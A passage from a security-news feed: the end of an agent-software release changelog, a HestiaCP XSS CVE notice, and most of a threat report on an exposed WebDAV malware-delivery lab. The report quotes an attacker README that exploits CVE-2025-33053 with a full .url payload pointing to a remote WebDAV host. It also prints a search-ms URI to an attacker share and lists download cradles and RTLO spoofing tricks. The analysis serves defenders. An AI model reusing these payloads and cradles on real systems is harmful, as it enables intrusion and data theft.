    • Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
    • Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
    • Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
    • Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

    📱 Messaging Platforms

    • Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
    • WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
    • Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
    • Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
    • Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
    • Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

    🖥️ Hermes Desktop App

    • Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
    • Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
    • Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
    • Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
    • Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
    • Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
    • Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

    📊 Web Dashboard

    🧰 CLI & TUI

    • /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
    • /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
    • Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
    • --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
    • TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
    • Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

    🔧 Tool System, Skills & MCP

    • MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
    • Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
    • Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
    • Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
    • Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
    • mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
    • Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

    🔒 Security & Reliability

    • Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
    • Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
    • Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
    • Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
    • Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
    • computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
    • Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
    • CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
    • Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
    • Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
    • Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

    🔁 Reverted in this window (for the record)

    • iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
    • dynamic-workflow orchestration skill (landed, then reverted) — not shipping
    • memory provider-actions extension point (landed, then reverted) — not shipping
    • Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

    👥 Contributors

    450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

    Core team

    • @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
    • @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
    • @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
    • @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
    • @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
    • @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
    • @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
    • @austinpickett — desktop custom endpoint settings
    • @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

    Top community contributors

    • @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
    • @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
    • @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
    • @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
    • @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
    • @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
    • @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
    • @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
    • @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
    • @vishal-dharm — Gemini request-context improvements
    • @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
    • @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
    • Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

    All contributors

    @0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
    @adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
    @alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
    @allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
    @AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
    @asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
    @bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
    @briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
    @cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
    @craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
    @datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
    @deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
    @dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
    @doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
    @Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
    @erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
    @fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
    @fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
    @Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
    @Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
    @herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
    @hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
    @infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
    @jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
    @JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
    @jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
    @kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
    @kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
    @LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
    @loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
    @luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
    @ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
    @maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
    @MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
    @neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
    @okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
    @patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
    @plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
    @r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
    @rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
    @roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
    @Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
    @ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
    @SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
    @slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
    @srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
    @Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
    @thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
    @Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
    @UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
    @vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
    @waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
    @WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
    @ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
    @ziliangpeng, @zwcf5200, @zzpigpinggai

    Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

    Full Changelog: v2026.7.1...v2026.7.20

    ]]>         <![CDATA[CVE-2025-30008 | HestiaCP up to 1.9.4 DNS Record Rendering list_dns_rec.php htmlspecialchars Value cross site scripting]]> https://tsecurity.de/de/3681314/sicherheitsluecken/cve-2025-30008-hestiacp-up-to-194-dns-record-rendering-listdnsrecphp-htmlspecialchars-value-cross-site-scripting/ https://tsecurity.de/de/3681314/sicherheitsluecken/cve-2025-30008-hestiacp-up-to-194-dns-record-rendering-listdnsrecphp-htmlspecialchars-value-cross-site-scripting/ Mon, 20 Jul 2026 15:54:16 +0200 🕵️ Sicherheitslücken tsecurity.de problematic has been discovered in HestiaCP up to 1.9.4. Affected is the function htmlspecialchars of the file list_dns_rec.php of the component DNS Record Rendering. The manipulation of the argument Value results in cross site scripting. This vulnerability is cataloged as CVE-2025-30008. The attack may be launched remotely. There is no exploit available.]]> <![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]> https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/ https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/ Mon, 20 Jul 2026 15:53:12 +0200 📰 IT Security Nachrichten tsecurity.de Executive summary

    An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

    Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

    This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

    Introduction: From MDR alert to attacker infrastructure

    The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

    That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

    At a high level, the 1,048 files clustered as follows:

    Category

    Files

    Functions and discoveries

    LNK delivery launchers

    453

    Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths

    Filename-spoofing QA

    236

    Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior

    URL/LOLBin execution tests

    146

    Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution

    Encrypted droppers

    89

    Staged second-stage payloads and installer-style packages

    Alternative execution containers

    24

    search-ms, library-ms, .cpl, and related delivery containers

    Payload stubs and spoofed executables

    21

    Smaller loaders, decoys, and renamed binaries

    WebDAV scripts

    17

    Scripts intended to make WebDAV delivery more reliable on Windows systems

    Builder and operator notes

    10

    README files, test reports, mappings, and generation scripts

    ClickFix HTML lures

    9

    Browser-based social-engineering pages instructing users to run commands

    Miscellaneous files

    6

    Included documentation for the actor’s WebDAV delivery/admin panel

    Table 1: Breakdown of files recovered from the attacker’s delivery workspace

    Technical analysis and observed attacker behavior

    Attackers testing like a product team

    The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

    The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

    testing-files-subfolders.png
    Figure 1: Snippet of one of many subfolders containing testing files.

    ⠀

    Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

    CVE

    Observed samples

    Short description

    CVE-2025-33053

    11

    Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)

    CVE-2026-21513

    4

    MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)

    CVE-2025-24054

    1

    Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

    Table 2: CVE references observed in the exposed directory.

    The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

    The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

    CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

    Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
    ⠀

    The testing approach was methodical and included the below:

    Transports: WebDAV over @80 and @ssl@443

    Path formats: DavWWWRoot vs. plain UNC

    Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

    Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

    Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

    Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

    ClickFix pages: relying on user copy/paste execution

    Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

    The lure factory

    The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

    Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

    The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

    The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

    The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

    The payload chains 

    The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

    We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

    Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

    This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

    Case study 1: CURP campaign targeting Mexico

    Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

    Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png
    Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.

    ⠀

    The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

    search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

    ⠀
    It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

    The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

    Simba-Service-WebDAV-dashboard-CURP.png
    Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.

    ⠀

    Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

    Execution-chain-PDF-lure.jpg
    Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.

    ⠀

    The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

    • Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

    • Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

